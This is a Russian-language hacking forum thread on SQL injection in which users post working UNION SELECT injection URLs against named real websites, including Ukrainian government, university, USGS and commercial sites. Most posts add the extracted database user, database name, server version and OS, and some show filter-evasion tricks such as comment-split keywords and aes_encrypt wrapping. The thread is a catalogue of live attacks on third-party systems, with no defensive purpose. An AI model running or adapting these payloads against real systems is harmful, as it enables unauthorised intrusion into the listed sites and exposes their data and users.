SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.merit.unu.edu/hfc/article.php?nid=-3+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    User : hfc@localhost
    Database : hfc:
    Version : 5.0.51a-24+lenny3
     
  2. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    Code:
    http://www.dk-spb.ru/homebook.php?part=contact&idsub=77+UNION+SELECT+CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
     
  3. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    Code:
    http://www.telemarket.com.ua/index.php?productID=0+UNION+SELECT+CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29
     
    2 people like this.
  4. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    softwarepublico.gob.pe PR-7

    Code:
    http://www.softwarepublico.gob.pe/res/detResolucion.php?tipodoc_id=-6+union+select+concat_ws(0x3a,version(),user(),database())+--+
    Code:
    4.1.22-standard:software_soft@localhost:software_publico
     
    1 person likes this.
  5. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    ihscslnews.org
    Code:
    http://ihscslnews.org/view_article.php?id=-283+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7
    User:[email protected]
    Database:ihscslnews
    Version:5.0.89-userstats-log
    PR4

    misto.co.ua
    Code:
    http://misto.co.ua./frankivsk/ogoloshennja/ogoloshennja.php?action=show&catid=1+union+select+1,concat_ws(0x3a,user(),database(),version())--
    User:dh27shdocka@localhost
    Database:doshka
    Version:5.1.42-log


    tempstuff.murfdesigns.com
    Code:
    http://tempstuff.murfdesigns.com/art/add_comment.php?art_id=-283+union+select+concat_ws(0x3a,user(),database(),version()),2--
    User:[email protected]
    Database:murfstuff
    Version:5.0.89-userstats-log
     
  6. buchlord

    buchlord New Member

    Joined:
    7 Jan 2009
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    Народ помогите

    Нашел у своего провайдера на сайте ошибку , что с ней делать??????
    http://svoyo.ru/modules/news/index.php?cat_view=world&subcat_view=life&news_view='
    :)
     
  7. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://onlineru.ru/?p=news&id=-167+union+select+1,2,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),4,5,6--
    version:5.0.41-community-nt
    user:eek:nlineru_ru@localhost
    database:eek:nlineru_ru
    os : Win32
     
  8. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.salonlustr.ru/news/?newsid=-39+union+select+1,2,3,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15--
    version : 5.0.77-log
    user : cl16093_salon@localhost
    database : cl16093_salon
    os : pc-linux-gnu
     
  9. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://stela.ru/?select=catalogue&category_id=-1+UNION+ALL+SELECT+1,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6,7+--+
    version : 5.0.51a-3ubuntu5
    user : root@localhost
    database : u17595
    os : debian-linux-gnu
     
    1 person likes this.
  10. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    mississippipolitical.com
    Code:
    http://www.mississippipolitical.com/Mississippi/product_desc.php?id=-283+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--
    User:[email protected]
    Database:Mississippi
    Version:4.0.27-max-log
    PR4




    humus.name
    Code:
    http://www.humus.name/index.php?page=News&ID=-283+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7--
    User:slafshas@[email protected]
    Database:humus_name
    Version:5.0.45-log
    PR4
     
  11. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.uni.ru/news.php?action=show_event&id=-117/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),11,12,13,14--
    version : 5.1.31-log
    user : uniuser@localhost
    database : uni2007
    os : unknown-freebsd7.1
     
    1 person likes this.
  12. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.rucksack-center.de/shop/index.php?static=modules/shop/templates/misc/show_detail_image.html&clean=yes&title=cowgirl&nummer=-00000000+UNION+SELECT+1,2,3,4,5,concat%28version%28%29,database%28%29,user%28%29%29,7,8,9--

    User:
    v129429@localhost
    Version: 5.0.83-community-log
    DataBase: v129429
     
    1 person likes this.
  13. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    gov.ua:
    Code:
    http://www.shevruo.da-kyiv.gov.ua/index.php?w=infoarchive&id=-283+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6--&search=
    User:shevadm@localhost
    Database:shevr_ruo
    Version:5.1.44



    Code:
    http://www.sobes-ter.gov.ua/index.php?cat=news&id=-283+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12--
    User:user@localhost
    Database:www
    Version:4.1.22-community-nt
     
    4 people like this.
  14. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.homeidei.ru/index.php?link=1&id=-127+and+1=2+union+all+select+aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),0x71),0x71),2,3--
    version : 5.0.90-community
    user : b783_homeidea@localhost
    database : b783_homeidei
    os : unknown-linux-gnu
     
  15. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.agencevu.com/exhibitions/index.php?id_cat=-77+UNION+SELECT+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29+from+users--[CODE]
    User: proxygen@localhost
    Version: 5.0.51a-3ubuntu5.5
    Database: agencevu

    Google PR: 6
     
    1 person likes this.
  16. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.avangard-sp.ru/index.php?id=-3195+union+/*!select*/+0,1,2,3,4,5,6,7,8,9,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+
    version : 5.1.36-log
    user : [email protected]
    database : avangard_s_db
    os : portbld-freebsd7.2
     
  17. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    В общем говорили уже про этот сервак типо все фильтрация итд но особо не заметил -).

    PR 8


    http://volcanoes.usgs.gov/activity/vona.php?id=687643423+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())--



    Database Version: 5.0.27-log
    Database name: vhp
    User name: webuser@localhost
     
    2 people like this.
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.art-oasis.ru/press/id/?newsid=-13+union+select+0,1,2,3,4,5,6,7,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),user(),database(),@@version_compile_os),0x71),0x71),9,10,11,12,13,14--
    version : 4.1.13
    user : oasis@server7
    database : oasis
    os : suse-linux
     
    1 person likes this.
  19. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    Code:
    http://www.powdercoating.org/productList.php?id=1+union+select+1,2,34,5,67,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    Database Version: 5.0.22-community-max-nt
    Database name: pci_web_89414
    User name: [email protected]
     
    1 person likes this.
  20. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    http://www.iwdp.co.uk/profile.php?id=-1+UNION ALL SELECT %String_Col%,2,3,4,5,6,7,8,9,10,11--
     
Thread Status:
Not open for further replies.